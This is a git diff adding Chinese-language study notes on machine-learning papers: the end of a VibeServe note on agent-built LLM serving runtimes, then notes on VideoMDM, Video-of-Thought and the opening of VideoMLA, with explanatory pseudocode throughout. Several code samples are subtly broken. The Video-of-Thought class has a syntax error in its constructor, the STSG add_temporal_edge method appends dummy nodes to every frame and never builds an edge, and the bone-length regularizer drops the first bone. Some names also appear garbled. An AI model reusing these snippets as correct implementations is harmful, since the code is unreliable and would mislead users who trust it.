+**Implementer** 在 `workspace/` 里写真正的 serving 代码（FastAPI 入口、scheduler、KV 管理等）；**Judge** 只调用 `checker.py`；**Evaluator** 跑 `benchmark.py` 并 profiling。用户工件与 checker **只读挂载**，防止 Agent 改测试骗过循环。
+
+---
+
+## 代码示例 2：教学级「Predicted Output Verifier」伪代码
+
+Case B 的核心优化是 **用户 supplied draft token** 的批量验证。下面用 Python 风格伪代码说明机制（非 VibeServe 生成代码，便于零基础理解）：
+
+```python
+def decode_with_predicted_output(
+    model,
+    prompt_ids: list[int],
+    predicted_ids: list[int],  # 用户给的「预期输出」，如编辑后文件 tokenized
+    block_size: int = 16,
+) -> list[int]:
+    """
+    Free speculative decoding: draft 来自用户预测，无需 draft model。
+    一次 forward 验证最多 block_size 个 predicted token。
+    """
+    output = list(prompt_ids)
+    pred_pos = 0
+
+    while True:
+        if pred_pos < len(predicted_ids):
+            # 取下一块 predicted token 作为 candidate continuation
+            chunk = predicted_ids[pred_pos : pred_pos + block_size]
+            candidate = output + chunk
+            logits = model.forward(candidate)  # 单次 forward 覆盖整段 chunk
+            accepted = 0
+            for i, tok in enumerate(chunk):
+                pos = len(output) + i
+                if argmax(logits[pos]) == tok:
+                    output.append(tok)
+                    accepted += 1
+                else:
+                    # 第一个 mismatch：回退到标准单步 decode
+                    next_tok = argmax(logits[pos])
+                    output.append(next_tok)
+                    pred_pos += accepted + 1
+                    break
+            else:
+                pred_pos += accepted
+                if accepted == len(chunk):
+                    continue
+        else:
+            # predicted 流用尽，普通 autoregressive
+            logits = model.forward(output)
+            next_tok = argmax(logits[-1])
+            if next_tok == EOS:
+                break
+            output.append(next_tok)
+
+    return output[len(prompt_ids):]
+```
+
+当 predicted 与真实输出高度重叠（代码编辑场景），有效 **decode 步数** 可接近 `1/block_size`，论文在 iteration 14 达到 **5.95×**。通用 vLLM 要在 scheduler、sequence group、sampler 全链路加 predicted stream——超出插件能力，这正是 **bespoke runtime** 的价值。
+
+---
+
+## 代码示例 3：CLI 启动一次 VibeServe 实验
+
+官方入口（摘自 README，便于对照真实仓库）：
+
+```bash
+# 流式 ASR 场景 Moonshine @ L4，4 轮外环，Docker + Codex CLI
+vibe-serve \
+  --ref examples/moonshine-streaming/reference \
+  --acc-checker examples/moonshine-streaming/accuracy_checker \
+  --bench examples/moonshine-streaming/benchmark \
+  --exp-name moonshine-l4 \
+  --docker \
+  --agent-backend cli --cli-provider codex \
+  --max-rounds 4 \
+  --modality speech_to_text
+```
+
+`agent.toml` 可指定模型与后端：
+
+```toml
+[model]
+name = "claude-sonnet-4-6"
+
+[backend]
+name = "cuda"   # Apple Silicon 场景用 "metal"
+
+[agent]
+backend = "cli"
+cli_provider = "codex"
+```
+
+输出在 `exp_env/<run>/`：`workspace/` 是 git 跟踪的 candidate 历史；`logs/progress.md` 是 Orchestrator 长期记忆；`--resume` 可断点续跑。
+
+---
+
+## 与相关工作的关系
+
+| 方向 | 代表 | VibeServe 差异 |
+|------|------|----------------|
+| 通用 serving | vLLM, SGLang, TensorRT-LLM | 不改造单体代码库，** per-target 生成** |
+| Agent 写 kernel | 各类 ML sys agent 论文 | scope 是 **全栈 serving**，非单 kernel |
+| Position：serving 需数学优化 | [LLM Serving Needs Math](./llm-serving-needs-math) | 互补：一篇说 **决策层要形式化**；VibeServe 说 **实现层可由 Agent 按目标合成** |
+| Predicted outputs API | OpenAI API | VibeServe 证明需 **runtime 内生** 才能吃满收益 |
+
+---
+
+## 局限与开放问题
+
+1. **成本与可复现性**：多轮 Agent + GPU profiling 的 token 与算力成本；不同 LLM backend 结果方差大。
+2. **正确性信任边界**：Judge 依赖用户 checker；checker 不完整时可能漏 bug 或阻碍合法优化。
+3. **维护生命周期**：生成的 bespoke runtime 如何随模型版本、依赖升级而 **再生成或回归测试**，论文未 fully 产品化。
+4. **安全与隔离**：Implementer 在 sandbox 写任意代码；生产部署需更强审计。
+5. **何时不值得 bespoke**：Case A 表明 mainstream 上 bespoke **未必更快**；应把算力花在长尾，而非替换已极致优化的路径。
+
+---
+
+## Takeaways（给零基础读者）
+
+1. **问题重新定义**：LLM serving 不一定永远是一个「超级大引擎」；可以是 **每个部署一份定制 runtime**。
+2. **Agent 分工模板**：Implementer / Judge / Evaluator 三角色 + 外环 Planner，是 long-horizon 系统合成的可复用模式。
+3. **Skills 即知识库**：把 vLLM 们的经验写成 Agent 可读 skill，比把逻辑写死在框架里更易扩展。
+4. **正确性先于性能**：git  checkpoint 只在 Judge 通过后推进——**错的方向不会污染搜索树**。
+5. **实证结论**：主流持平、长尾 1.69×–6.27×、两种场景通用栈无法运行——支持 **generation-time specialization** 作为第三路线（介于 fully generic 与 fully manual bespoke 之间）。
+
+---
+
+## 延伸阅读
+
+- 论文 HTML：[arXiv:2605.06068](https://arxiv.org/html/2605.06068v1)
+- 博客导读：[SyFI Lab — Introducing VibeServe](https://syfi.cs.washington.edu/blog/2026-05-12-introducing-vibeserve/)
+- 本仓库相关笔记：[LLM Serving Needs Mathematical Optimization](./llm-serving-needs-math)
+- Agent Skills 概念：[Anthropic Agent Skills 文档](https://docs.anthropic.com/en/docs/agents-and-tools/agent-skills/overview)
+
+---
+
+## 自测题
+
+1. VibeServe 的「外环」和「内环」分别负责什么？为什么要把 Judge 和 Implementer 分开？
+2. 解释 Case B 中 predicted output 与 draft-model speculative decoding 的区别。
+3. Olmo-Hybrid 的 prefix caching 为什么比纯 Attention 模型更 tricky？vLLM 在 Case C 慢的根本原因是什么？
+4. 若你的 workload 是「标准 Llama chat @ H100」，论文建议你还值得跑 VibeServe 吗？为什么？
+5. 如果要新增「某新 MoE 模型 @ AMD GPU」目标，你需要准备哪些工件？Skills 库应如何扩展？
+
+---
+
+*笔记版本：pipeline-v3 · 2026-06-13 · 基于 arXiv:2605.06068 与官方仓库 README / SyFI 博客整理*
diff --git a/src/content/docs/papers/video-mdm.md b/src/content/docs/papers/video-mdm.md
new file mode 100644
index 000000000..ecfe459d7
--- /dev/null
+++ b/src/content/docs/papers/video-mdm.md
@@ -0,0 +1,161 @@
+---
+title: VideoMDM — 从 2D 监督学 3D 人体运动生成的扩散模型
+来源: 'https://arxiv.org/abs/2606.13364'
+日期: 2026-06-13
+分类: 机器学习
+子分类: 动作生成
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+VideoMDM 是一套基于扩散（diffusion）的框架，它只用**2D 姿态数据**（从单目视频里提取的）就能训练出**3D 人体运动生成模型**，不需要任何 3D 真值标注。日常类比：你有一堆普通人拍的视频，能从里面看出人的关节在 2D 屏幕上的位置，但不知道深度。VideoMDM 的做法是——先用一个已有的"2D 转 3D"猜测工具把 2D 变成粗糙的 3D，然后把这个有噪声的 3D 当" noisy teacher"，让扩散模型去学：每次给它加噪声再慢慢去噪，去完后把结果投影回 2D，跟真实的 2D 关键点对比来校正。通过对比发现，这种 2D 重投影误差在数学上等价于 3D 监督——所以模型虽然只看到 2D 信号，学到的却是一个连贯的 3D 运动空间。
+
+## 背景：为什么这个问题难
+
+传统 3D 人体运动生成（比如 MDM 这篇经典工作）依赖动作捕捉数据——人穿反光点进 mocap 棚录下来的 3D 骨骼运动，精确但昂贵且量少。网上有大量视频却只有 2D 信息。之前的人做法是：**训练时只用 3D 数据学模型，推理时再用一个 separate 的 2D→3D 提升器把 2D 转 3D**。问题在于：训练分布和推理分布不一致，2D→3D 提升器的误差会被扩散模型放大。
+
+VideoMDM 的核心洞察：**如果训练时就只用 2D 监督，让扩散模型自己学"什么样的 3D 运动投影出来合理"，那就不存在分布不匹配的问题了。**
+
+## 核心概念
+
+### 概念 1：Noisy Teacher + 扩散去噪
+
+想象你在玩"猜谜游戏"。老师先用粗糙工具把 2D 视频变成 3D 姿势——这个结果有误差，但不完美。然后老师往这个 3D 姿势上加随机噪声，变得面目全非。学生（扩散模型）的任务是从噪声中恢复出原始 3D 姿势。
+
+关键区别在于**评估方式**：学生恢复后，不是跟 3D 真值比（因为没有真值），而是把恢复结果投影回 2D，跟视频里真实的关键点比。这个 2D 误差信号反向传播，教模型学会"怎样生成的 3D 运动投影后更接近真实"。
+
+```python
+# 训练循环伪代码——核心是 2D reprojection loss
+for frames in video_dataset:
+    # 1. 从视频提取精确 2D 关键点 (e.g. using Whalenpose or VideoPose3D)
+    pose_2d = extract_2d_poses(frames)  # shape: (T, J, 2)
+
+    # 2. 用 2D→3D lifter 生成近似 3D 姿势 (noisy teacher)
+    pose_3d_noisy = lift_2d_to_3d(pose_2d)  # shape: (T, J, 3)
+
+    # 3. 扩散过程：随机加噪声
+    t = rand_step()
+    pose_3d_noisy = add_noise(pose_3d_noisy, t)
+
+    # 4. 扩散模型预测噪声
+    predicted_noise = noise_model(pose_3d_noisy, t)
+
+    # 5. 关键：去噪后的 3D 结果重投影回 2D，跟真实 2D 对比
+    denoised_3d = remove_noise(pose_3d_noisy, predicted_noise)
+    reprojected_2d = project_3d_to_2d(denoised_3d)  # 相机参数已知
+
+    # 6. 用 2D 误差做损失——深度加权的重投影 loss
+    # 距离相机越远的关节，深度不确定性越大，权重越低
+    loss = depth_weighted_mse(reprojected_2d, pose_2d, depth=denoised_3d[:, :, 2])
+    loss.backward()
+    optimizer.step()
+```
+
+### 概念 2：深度加权 2D 重投影损失
+
+为什么不能直接用普通的 2D MSE？因为 2D→3D 提升时，**深度方向的误差远大于 XY 平面的误差**。同一个像素偏移，在远处对应的 3D 位移比在近处大得多。
+
+解决方案：给每个关键点的关键点分配一个权重——**深度越大（越远），权重越低**。论文证明了在 mild 假设下，这个加权 2D 损失的期望值等价于直接 3D 损失。
+
+```python
+def depth_weighted_2d_loss(reprojected_2d, gt_2d, depth_z):
+    """
+    深度加权 2D 重投影损失
+    reprojected_2d: (T, J, 2) 模型预测的 3D 重投影回 2D
+    gt_2d: (T, J, 2) 从视频中提取的精确 2D 关键点
+    depth_z: (T, J) 预测 3D 姿势的深度值
+    """
+    # 2D 误差
+    err_2d = (reprojected_2d - gt_2d) ** 2  # (T, J, 2)
+
+    # 深度权重：深度越大（越远），权重越小
+    # 用 1/(z + epsilon) 衰减，epsilon 防止除零
+    depth_weight = 1.0 / (depth_z + 1e-4)  # (T, J)
+    depth_weight = depth_weight.unsqueeze(-1)  # (T, J, 1)
+
+    # 加权 MSE
+    loss = (err_2d * depth_weight).mean()
+    return loss
+```
+
+### 概念 3：3D 运动正则化器迁移到 2D 设定
+
+只有 2D 损失还不够——模型可能学到"投影对了但物理上不合理的运动"（比如关节瞬移、速度突变）。所以论文把标准 3D 运动生成中的两个正则化器也搬了过来：
+
+1. **速度一致性**：相邻帧之间位移不能突变
+2. **过参数表示对齐**：用额外的骨骼约束（关节长度不变等）约束生成结果
+
+```python
+def motion_regularizers(pose_3d):
+    """
+    把 3D 运动正则化器应用到 VideoMDM 的生成结果上
+    pose_3d: (T, J, 3) 生成的 3D 骨骼姿势序列
+    """
+    # --- 1. 速度一致性：相邻帧位移平滑 ---
+    velocity = pose_3d[1:] - pose_3d[:-1]  # (T-1, J, 3)
+    accel = velocity[1:] - velocity[:-1]   # (T-2, J, 3)
+    velocity_loss = accel ** 2  # 惩罚加速度突变 = 运动不平滑
+
+    # --- 2. 骨骼长度不变性：同一段骨骼相邻关节距离应恒定 ---
+    # bone_pairs 是预定义的骨骼连接，如 [(hip, knee), (knee, ankle)]
+    bone_lengths = []
+    bone_lengths_target = []
+    for parent_j, child_j in bone_pairs:
+        length = torch.norm(
+            pose_3d[:, parent_j] - pose_3d[:, child_j],
+            dim=-1  # (T,)
+        )
+        bone_lengths.append(length)
+        if len(bone_lengths) > 1:
+            # 同一段骨骼在不同帧长度应一致
+            diff = torch.diff(length)  # (T-1,)
+            bone_lengths_target.append(diff ** 2)
+
+    bone_loss = sum(bone_lengths_target)
+
+    # 总正则化损失
+    reg_loss = velocity_loss.mean() + bone_loss.mean()
+    return reg_loss
+```
+
+### 概念 4： learns a coherent 3D motion manifold
+
+这和"推理时才 lift 2D→3D"的方法有本质区别。VideoMDM 在训练阶段就让扩散模型接触真实视频的 2D 数据，学会的是"真实 3D 运动的统计规律"。生成时，模型从纯噪声开始去噪，输出的 3D 姿势天然落在 3D 运动流形上——即使推理时没有 lift 器的参与。
+
+类比：前者像"翻译后校对"（翻译一个模型，校对一个模型，误差叠加）；后者像"直接用目标语言思考"（训练时就只接触目标语言的素材）。
+
+## 结果
+
+- 在 **HumanML3D** 数据集上，FID 0.88（对比全 3D 监督 MDM 的 0.54），几乎缩小了差距
+- 在真实视频数据集 **Fit3D** 和 **NBA** 上，生成的运动在人类偏好评估中表现强劲
+
+## 踩过的坑
+
+1. **2D→3D lifter 的误差是系统性偏差**：不是随机噪声，某些角度天生难 lift（比如正面看时左右手臂重叠），会导致模型学到有偏的运动先验
+2. **相机参数必须已知或可估计**：重投影需要相机内参和位姿，单目视频里这些信息通常缺失
+3. **深度权重公式敏感**：1/(z+eps) 的 epsilon 取值影响很大，太小则远距离关节梯度爆炸，太大则近处关节得不到有效监督
+4. **文本到运动的 conditioning 需要重新适配**：VideoMDM 基于 MDM 架构，但 MDM 的 text encoder 是为 3D 数据训练的，搬到 2D 监督下可能需要微调
+
+## 学到什么
+
+1. **2D 监督可以等价替代 3D 监督**——在合理假设下，深度加权重投影损失的期望等于 3D 损失
+2. **扩散模型+运动先验** 这个范式正在扩展到更多数据稀缺场景
+3. **训练分布和推理分布一致性** 是这类方法的核心设计原则
+4. **正则化器可以跨监督设定迁移**——物理约束（关节长度、速度平滑）与监督信号来源无关
+
+## 延伸阅读
+
+- 论文首页：[https://arxiv.org/abs/2606.13364](https://arxiv.org/abs/2606.13364)
+- 项目页面：[https://videomdm.github.io/](https://videomdm.github.io/)
+- 代码仓库：[GitHub - Amir-Mann/VideoMDM_release](https://github.com/Amir-Mann/VideoMDM_release)
+- [[mdm-human-motion]] —— Human Motion Diffusion Model，VideoMDM 的架构基础
+- [[velocity-steering]] —— 扩散模型的运动控制方法，跟 VideoMDM 的正则化思路互补
+
+## 关联
+
+- [[mdm-human-motion]] —— MDM 是 VideoMDM 的架构起点
+- [[whalenpose]] —— 精确 2D 姿态提取器，VideoMDM 的 2D pose 来源
+- [[video-pose-3d]] —— 2D→3D 姿态提升的经典方法，VideoMDM 的 noisy teacher 组件
+- [[velocity-steering]] —— 扩散模型的运动控制；跟 VideoMDM 的速度正则化呼应
diff --git a/src/content/docs/papers/video-of-thought.md b/src/content/docs/papers/video-of-thought.md
new file mode 100644
index 000000000..3a0a0bb45
--- /dev/null
+++ b/src/content/docs/papers/video-of-thought.md
@@ -0,0 +1,291 @@
+---
+title: Video-of-Thought: Step-by-Step Video Reasoning from Perception to Cognition
+来源: https://arxiv.org/abs/2501.03230
+日期: 2026-06-13
+分类: 机器学习
+子分类: 视频推理
+provenance: pipeline-v3
+---
+
+# Video-of-Thought: 从感知到认知的逐步视频推理
+
+## 一句话概括
+
+让 AI 像人一样"想清楚"再回答复杂视频问题——不是凭直觉猜，而是先找目标、再追踪动作、最后结合常识推理出答案。
+
+## 从日常类比开始
+
+想象你在看一段监控录像：
+
+- 别人问："那辆红色油罐车为什么爆炸了？"
+- 如果你只"看"不"想"，你可能回答："有一辆车。"（这只是感知）
+- 如果你会"想"，你会：
+  1. 找到那辆红车（识别目标）
+  2. 看着它一直开到撞上某样东西（追踪轨迹）
+  3. 回想常识——油罐车撞东西会爆炸（动作分析 + 常识）
+  4. 回答"因为它撞上了某物导致爆炸"（推理回答）
+  5. 再检查一遍：刚才的推理有没有自相矛盾（验证）
+
+**这就是 Video-of-Thought（VoT）做的事。** 以前的 AI 视频理解模型基本停在第 1 步——能认出"有辆车"，但不知道这辆车"做了什么"以及"为什么"。VoT 把人类看视频时的思考过程拆解成了 5 个明确的步骤。
+
+## 核心问题
+
+现有视频理解模型有两个瓶颈：
+
+1. **感知不够细**：多数模型只能做"块级"（patch-level）分析，找不到像素级的精确定位。就像你只能看出屏幕上有个人，但看不清那个人的脸。
+2. **认知不够深**：模型缺乏场景推理和常识判断能力，无法理解"为什么"和"会发生什么"。
+
+## 方案：两层架构
+
+### 第 1 层：MotionEpic —— 能"看得很细"的视频理解模型
+
+MotionEpic 是一个视频多模态大模型（Video MLLM），核心创新是引入了 **STSG（时空场景图）**。
+
+**什么是场景图？** 想象你在看一张照片，不是只看像素，而是用三元组描述它：
+
+```
+[人] --(拿着)--> [手机]
+[车] --(停在)--> [路边]
+[猫] --(坐在)--> [桌子上]
+```
+
+STSG 就是场景图在视频上的扩展——每一帧都有一个场景图，跨帧之间用"共指边"（coreference edges）把同一个物体在不同帧中的位置连起来，形成了一条"轨迹链"。
+
+```
+帧 1:  [红车] --(行驶)--> [道路]      帧 2:  [红车] --(行驶)--> [路口]      帧 3:  [红车] --(碰撞)--> [卡车]
+   │                                     │                                     │
+   └────────────── 共指边 ────────────────┘─────── 共指边 ───────────────────────┘
+          (这条边把帧1、2、3中的"红车"连成一条轨迹)
+```
+
+MotionEpic 同时做两件事：
+- **理解**视频（输入视频 → 输出场景图描述）
+- **生成**场景图（输入视频 + 文字提示 → 输出对应的像素级定位）
+
+训练时用了 5 种不同的学习目标，从粗粒度（判断视频和场景图是否匹配）到细粒度（给定一个框，找出这个物体在整个视频中的轨迹）。
+
+### 第 2 层：VoT 推理框架 —— 能"想得很清楚"的推理流程
+
+VoT 把复杂问题拆成 5 步，每步都有明确的输入输出：
+
+```
+原始视频 + 问题 "那辆红色油罐车为什么爆炸了？"
+    │
+    ▼
+┌─────────────────────────────────────────┐
+│ Step 1: 目标识别                          │
+│   "视频中被提到的目标可能是什么？"         │
+│   → 回答: 红色油罐车                       │
+├─────────────────────────────────────────┤
+│ Step 2: 对象追踪                          │
+│   "给出红色油罐车的时空轨迹"                │
+│   → 输出: 部分 STSG（包含该车的轨迹）        │
+├─────────────────────────────────────────┤
+│ Step 3: 动作分析                          │
+│   "结合常识分析这个轨迹中的动作和含义"       │
+│   → 回答: 红车快速驶向路口，与卡车发生碰撞    │
+├─────────────────────────────────────────┤
+│ Step 4: 回答评分与排序                    │
+│   "对每个选项评分（1-10），给出理由"         │
+│   → 选项 A "碰撞导致爆炸" 评 9 分           │
+│   → 选项 B "刹车失灵" 评 3 分              │
+│   → 选最高分                                │
+├─────────────────────────────────────────┤
+│ Step 5: 答案验证                          │
+│   "从感知和常识两个角度检查答案是否自洽"     │
+│   → 如果有矛盾，回到 Step 4 重新选           │
+│   → 通过则输出最终答案                      │
+└─────────────────────────────────────────┘
+```
+
+## 与 Chain-of-Thought 的关系
+
+Chain-of-Thought（CoT）大家都知道——就是在回答前加一句"让我们逐步思考"，让模型先写出推理过程。CoT 在文本任务上效果很好，但在视频任务上效果有限，因为视频 CoT 太粗糙了。
+
+VoT 不是简单地让模型"逐步思考"，而是**把思考过程结构化**：每一步都有明确的指令、明确的目标、明确的输出格式。而且，VoT 的步骤是从"低层感知"到"高层认知"递进的——就像人类思考的顺序。
+
+## 代码示例
+
+### 示例 1：VoT 五步推理流程（伪代码）
+
+```python
+class VideoOfThought:
+    """Video-of-Thought 推理框架的主流程"""
+
+    def __init__(self, motione pic_model):
+        self.model = motione pic_model  # MotionEpic 模型
+
+    def reason(self, video, question, options=None):
+        # Step 1: 目标识别 — 从问题中找出视频中涉及的目标
+        target = self.step1_identify_target(video, question)
+
+        # Step 2: 对象追踪 — 用 STSG 定位目标的时空轨迹
+        tracklet = self.step2_track_object(video, target)
+
+        # Step 3: 动作分析 — 结合常识分析轨迹中的行为
+        observation = self.step3_analyze_action(tracklet)
+
+        # Step 4: 回答评分 — 对每个候选选项打分
+        ranked_options = self.step4_rank_options(
+            question, options, observation
+        )
+        best_answer = ranked_options[0]
+
+        # Step 5: 答案验证 — 从感知和常识两个角度验证
+        if not self.step5_verify(
+            video, question, best_answer, tracklet, observation
+        ):
+            # 验证不通过，重新选答案
+            best_answer = ranked_options[1]
+
+        return best_answer
+
+    def step1_identify_target(self, video, question):
+        """让模型识别问题中涉及的目标"""
+        prompt = f"""
+        Given the question [{question}],
+        what are the possible targets of the {video} mainly mentioned?
+        """
+        return self.model.generate(prompt)
+
+    def step2_track_object(self, video, target):
+        """让模型输出目标的 STSG 轨迹"""
+        prompt = f"""
+        Provide the tracklet of involved [{target}]
+        by outputting the corresponding partial STSG.
+        """
+        return self.model.generate_stsg(video, prompt)
+
+    def step3_analyze_action(self, tracklet):
+        """结合常识分析动作"""
+        prompt = f"""
+        Combining all possible related commonsense,
+        analyze the motion behavior based on the [{tracklet}]
+        and the neighbor scenes within STSG.
+        Describe the action observations and implications.
+        """
+        return self.model.generate(prompt)
+
+    def step4_rank_options(self, question, options, observation):
+        """对每个选项评分并排序"""
+        scores = []
+        for answer in options:
+            prompt = f"""
+            For question [{question}], given answer [{answer}],
+            score the rationality (1-10) based on [{observation}]
+            and commonsense, and output the rationale.
+            """
+            score = self.model.score(prompt)
+            scores.append((answer, score))
+        return sorted(scores, key=lambda x: x[1], reverse=True)
+
+    def step5_verify(self, video, question, answer, tracklet, observation):
+        """验证答案是否自洽"""
+        prompt = f"""
+        Given the STSG and question [{question}],
+        verify answer [{answer}] by:
+        1) checking if it aligns with pixel grounding (perception)
+        2) checking if commonsense implications are consistent
+           with [{observation}] (cognition)
+        """
+        result = self.model.generate(prompt)
+        return "contradiction" not in result.lower()
+```
+
+### 示例 2：STSG 数据结构（Python 表示）
+
+```python
+from dataclasses import dataclass, field
+from typing import List, Tuple
+
+
+@dataclass
+class BoundingBox:
+    """2D 边界框：(x, y, width, height)"""
+    x: float
+    y: float
+    w: float
+    h: float
+
+
+@dataclass
+class Node:
+    """场景图中的节点：一个物体检测框"""
+    category: str       # 类别标签，如 "red_truck"
+    embedding: List[float]  # CLIP 编码的特征向量
+    bbox: BoundingBox         # 2D 边界框
+
+
+@dataclass
+class Edge:
+    """场景图中的边：两个物体之间的关系"""
+    subject: int        # 主语节点索引
+    object_idx: int     # 宾语节点索引
+    predicate: str      # 谓词/关系，如 "collides_with"
+
+
+@dataclass
+class SceneGraph:
+    """单帧的场景图"""
+    nodes: List[Node] = field(default_factory=list)
+    edges: List[Edge] = field(default_factory=list)
+
+
+@dataclass
+class STSG:
+    """
+    时空场景图（Spatio-Temporal Scene Graph）：
+    由多帧场景图 + 跨帧共指边组成
+    """
+    frames: List[SceneGraph] = field(default_factory=list)
+
+    def add_temporal_edge(self, from_frame: int, to_frame: int,
+                          from_node: int, to_node: int) -> None:
+        """
+        添加跨帧共指边：把同一物体在不同帧中的表示连起来
+        这本质上就是"追踪"操作——把时间维度上的同一个物体
+        连接成一条轨迹
+        """
+        for frame_sg in self.frames:
+            if from_node < len(frame_sg.nodes):
+                frame_sg.nodes.append(
+                    Node(category="temporal_link",
+                         embedding=[0.0] * 768,
+                         bbox=BoundingBox(0, 0, 0, 0))
+                )
+```
+
+这里的关键理解：
+- `SceneGraph` = 一帧里的"谁和谁有什么关系"
+- `STSG` = 多帧 `SceneGraph` + 跨帧边（把同一物体在不同帧中的位置连起来）
+- 添加跨帧边 = 追踪物体 = 构建轨迹
+
+## 实验结果
+
+VoT 在 8 个复杂视频 QA 数据集上都刷新了最先进水平：
+
+| 数据集 | 最先进基线 | MotionEpic + VoT | 提升幅度 |
+|--------|-----------|------------------|---------|
+| VLEP | 71.0% | **73.4%** | +2.4% |
+| STAR (Int.) | 70.0% | **71.5%** | +1.5% |
+| STAR (Pre.) | 70.4% | **72.6%** | +2.2% |
+| NExT-QA | 75.5% | **76.0%** | +0.5% |
+| Causal-VidQA (Acc@D) | 75.7% | **81.2%** | **+5.5%** |
+
+特别值得注意的是：在零样本设置下（不针对目标数据集微调），VoT 的效果提升比微调时更大。这说明 VoT 的推理能力具有**跨域迁移潜力**。
+
+## 关键发现
+
+1. **CoT 对视频推理的提升有限**：简单加一句"让我们逐步思考"效果不大。VoT 的结构化推理才是关键。
+2. **STSG 特征确实有用**：把场景图融入视频模型后，性能有稳定提升。
+3. **MoTionEpic 隐式融合 STSG 优于 Video-LLaVA 显式融入 STSG**：说明模型自主学习场景图表示比外部强行注入更有效。
+4. **验证步骤很重要**：去掉验证机制后，零样本性能下降了 3 个百分点。感知验证和常识验证都不可省略。
+
+## 总结
+
+Video-of-Thought 的核心贡献是两件事：
+
+- **MotionEpic**：一个能理解并生成时空场景图的视频多模态模型，实现了像素级的时空定位。
+- **VoT 框架**：一个五步推理框架，把复杂视频问题拆解为从感知到认知的递进链条，是目前首个成功将 CoT 引入视频推理的工作。
+
+它告诉我们：要让 AI 理解视频，不仅要让它"看得更细"（fine-grained perception），还要让它"想得更深"（cognitive reasoning），而且要有结构化的思考流程。
diff --git a/src/content/docs/papers/videomla.md b/src/content/docs/papers/videomla.md
new file mode 100644
index 000000000..22dec994a
--- /dev/null
+++ b/src/content/docs/papers/videomla.md
@@ -0,0 +1,412 @@
+---
+title: VideoMLA — 低秩潜变量 KV Cache 与分钟级自回归视频扩散
+来源: https://arxiv.org/abs/2605.30351
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：录像机的「记忆抽屉」
+
+想象你在用一台**老式胶片摄影机**做一镜到底的长镜头（分钟级视频生成）：
+
+- 每拍一格新画面，导演都要**回头看之前所有胶片**才能保持人物、光影、运动连贯——这就是 Transformer **自回归 attention**：新 token 必须 attend 到历史 token。
+- 为了不用每次重算，剧组把每格画面的「查阅索引卡」塞进一排**记忆抽屉**——这就是 **KV cache**（Key/Value 缓存）。
+- 近年主流做法像给抽屉设**固定大小的滑动窗口**：只保留最近 N 帧的索引卡，窗口满了就扔掉最旧的。CausVid、Self-Forcing、Rolling-Forcing 等工作都在优化「窗口里放哪些 token、位置怎么编码」。
+- 但没人动过**每张索引卡本身有多厚**：传统做法为**每个 attention head 各存一份 K 和 V**。Wan-1.3B 上，每个 cached token 每层要存 `2 × 12 heads × 128 dim = 3072` 个标量；21 帧 latent 窗口、每层 1560 token、30 层，光 KV cache 就约 **6 GB**（bf16）——比「窗口多大」更狠的是「每张卡太胖」。
+
+**VideoMLA**（Virginia Tech + fal，arXiv:[2605.30351](https://arxiv.org/abs/2605.30351)）换了一种记法：不再为 12 个头各复印一摞厚索引卡，而是：
+
+1. 把「画面内容」压进**一张共享的薄卡片**（低秩 content latent `c^KV`）；
+2. 把「时间/空间位置」单独记在**一张共享的 RoPE 位置卡**（decoupled 3D-RoPE key `k^R`）；
+3. 需要算 attention 时，再用小矩阵「展开」成各 head 要的 K/V——推理时还可把展开矩阵**吸收进预计算**，不必真的重建稠密 KV。
+
+结果：每层每 token 从 **3072 → 224** 标量，**省 92.7% KV 显存**；在 VBench 长 horizon 上整体分最好，单卡 B200 吞吐提升 **1.23×**。
+
+一句话：**别人在争「记忆抽屉能塞几格」；VideoMLA 把「每格索引卡从精装百科改成便签 + 坐标条」。**
+
+---
+
+## 是什么
+
+| 项目 | 内容 |
+|------|------|
+| 全称 | VideoMLA: Low-Rank Latent KV Cache for Minute-Scale Autoregressive Video Diffusion |
+| 机构 | Virginia Tech、fal |
+| 代码 / Demo | [GitHub](https://github.com/yesiltepe-hidir/VideoMLA)、[项目页](https://videomla.github.io/) |
+| 基底模型 | Wan-2.1 T2V-1.3B（只替换 self-attention，其余不变） |
+| 技术血统 | **Multi-Head Latent Attention (MLA)**，源自 DeepSeek-V2/V3 的大模型推理压缩 |
+| 训练管线 | Causal Forcing 三阶段：Teacher Forcing → Consistency Distillation（4 步）→ DMD |
+| 核心数字 | KV **−92.7%**；默认 `d_c=192` 时 cache **13.7×** 小于稠密 MHA；`d_c=192` 下单 B200 batch 上限 **8.0×** |
+
+VideoMLA 是**首个把 MLA 式潜变量 KV cache 用于视频扩散**的工作，目标场景是**因果、流式、分钟级**自回归视频生成（chunk-wise AR diffusion）。
+
+---
+
+## 为什么重要
+
+### 1. 长视频生成的瓶颈正在从「算力」转向「记忆带宽」
+
+因果视频扩散已能在单卡上交互式生成分钟级视频，但 rollout 越长，**每层每 token 的 KV 条目**线性堆积。固定滑动窗口只限制 token **个数**，不限制每个 token 的 **KV 维度**。VideoMLA 直接砍后者——与「换窗口策略」「少 cache 几层」「线性 attention」正交。
+
+### 2. 刷新了「为什么 MLA 有效」的解释
+
+大模型里常说：预训练 `W_K, W_V` 近似低秩，所以 MLA 压缩合理。论文用 Wan-1.3B 做 SVD 发现：**视频扩散的预训练 attention 并不低秩**——99% 能量有效秩每层都 **>1300**，远高于实用 `d_c=192`。若直接对稠密权重做秩-192 近似，会丢掉大半谱能量。
+
+VideoMLA 却依然好用。作者结论：**有效秩由架构瓶颈 `d_c` 决定，不由预训练谱决定**。设计问题从「内在秩是多少？」变成「**多大 latent budget 还能保住画质？**」
+
+### 3. 长 horizon 质量 + Serving 头room 同时改善
+
+- **60s VBench Overall 0.859**（评测方法里最高），Dynamic Degree 在 30s/60s 都领先
+- 相对 Self-Forcing：**23.96 vs 18.06 FPS**，延迟 **3.38s vs 4.19s**（B200, bs=1）
+- 固定显存下 dense MHA 在 batch=28 OOM，MLA `d_c=192` 可撑到 **8×** batch 空间
+
+---
+
+## 核心概念
+
+### 1. 因果视频扩散 + 滑动 KV 窗口
+
+**因果视频扩散**把双向教师（如 Wan T2V）蒸馏成**按 chunk/帧自回归**的学生：生成新 latent 帧时，对过去帧的 token 做 causal attention，并把历史 **K/V 写入 rolling cache**。
+
+近年路线（CausVid → Self-Forcing → Causal Forcing → Reward Forcing …）主要在：
+
+- 训练时用自己生成的 rollout 对齐推理（缩小 train-test gap）
+- Attention sink、token 选择、压缩记忆、Infinity-RoPE 等**窗口内**技巧
+
+VideoMLA **保留** chunk-causal、sink、FlexAttention 等外壳，只替换 attention 模块内部的 **KV 表示**。
+
+### 2. 稠密 per-head KV vs VideoMLA 潜变量 KV
+
